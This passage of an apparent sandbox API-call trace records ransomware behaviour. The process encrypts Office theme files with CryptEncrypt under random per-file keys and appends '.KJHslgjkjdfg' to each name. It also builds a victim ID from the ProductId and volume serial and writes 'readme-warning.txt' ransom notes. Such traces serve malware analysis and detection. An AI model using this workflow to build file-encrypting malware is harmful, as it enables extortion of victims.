ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.208] GetProcessHeap () returned 0x2ef0000 [0173.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.208] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.208] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.208] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.208] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.208] GetProcessHeap () returned 0x2ef0000 [0173.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.208] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.208] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.208] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.250] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.250] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.250] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.250] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.250] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.250] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.250] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.250] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.250] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1400, lpOverlapped=0x0) returned 1 [0173.256] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1400, dwBufLen=0x1400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1400) returned 1 [0173.256] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.256] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1400, lpOverlapped=0x0) returned 1 [0173.256] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.256] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.256] SetEndOfFile (hFile=0x12c) returned 1 [0173.259] GetProcessHeap () returned 0x2ef0000 [0173.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.259] GetProcessHeap () returned 0x2ef0000 [0173.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.260] CloseHandle (hObject=0x12c) returned 1 [0173.260] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.261] GetProcessHeap () returned 0x2ef0000 [0173.261] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.261] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.262] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.262] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0173.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.264] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.264] GetProcessHeap () returned 0x2ef0000 [0173.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.264] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.264] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.264] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.264] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.264] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.264] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.265] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.265] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.265] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.265] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.265] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xed34, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xed34, lpOverlapped=0x0) returned 1 [0173.266] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xed40, dwBufLen=0xed40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xed40) returned 1 [0173.267] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.267] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xed40, lpOverlapped=0x0) returned 1 [0173.267] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.267] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xee14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.268] SetEndOfFile (hFile=0x12c) returned 1 [0173.281] GetProcessHeap () returned 0x2ef0000 [0173.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.281] GetProcessHeap () returned 0x2ef0000 [0173.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.290] CloseHandle (hObject=0x12c) returned 1 [0173.290] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.290] GetProcessHeap () returned 0x2ef0000 [0173.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.291] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.291] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.291] GetProcessHeap () returned 0x2ef0000 [0173.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.291] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.291] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.291] GetProcessHeap () returned 0x2ef0000 [0173.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f11d10 [0173.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.291] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11d10, pdwDataLen=0x4dfee20 | out: pbData=0x2f11d10, pdwDataLen=0x4dfee20) returned 1 [0173.291] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.291] GetProcessHeap () returned 0x2ef0000 [0173.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.291] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.291] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.291] GetProcessHeap () returned 0x2ef0000 [0173.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.291] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.292] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.292] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.292] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.292] RegCloseKey (hKey=0x12c) returned 0x0 [0173.292] GetProcessHeap () returned 0x2ef0000 [0173.292] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.292] GetProcessHeap () returned 0x2ef0000 [0173.292] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.292] GetProcessHeap () returned 0x2ef0000 [0173.292] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.292] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.292] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.292] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.292] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.292] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.293] GetProcessHeap () returned 0x2ef0000 [0173.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.293] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.293] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.293] GetProcessHeap () returned 0x2ef0000 [0173.293] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e278 [0173.293] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\readme-warning.txt") returned 83 [0173.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.295] WriteFile (in: hFile=0x12c, lpBuffer=0x2f3e278*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f3e278*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.296] CloseHandle (hObject=0x12c) returned 1 [0173.296] GetProcessHeap () returned 0x2ef0000 [0173.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.296] GetProcessHeap () returned 0x2ef0000 [0173.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0173.297] GetProcessHeap () returned 0x2ef0000 [0173.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.297] GetProcessHeap () returned 0x2ef0000 [0173.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.297] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.297] GetProcessHeap () returned 0x2ef0000 [0173.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.297] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0173.297] GetProcessHeap () returned 0x2ef0000 [0173.297] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x88) returned 0x2f45740 [0173.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.298] GetProcessHeap () returned 0x2ef0000 [0173.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0173.298] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.298] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0173.298] GetProcessHeap () returned 0x2ef0000 [0173.298] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28a) returned 0x2f14588 [0173.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.300] GetProcessHeap () returned 0x2ef0000 [0173.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.300] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.300] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.300] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.300] GetProcessHeap () returned 0x2ef0000 [0173.301] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.301] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.301] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.301] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.308] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.309] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.310] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.310] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.310] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.310] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, 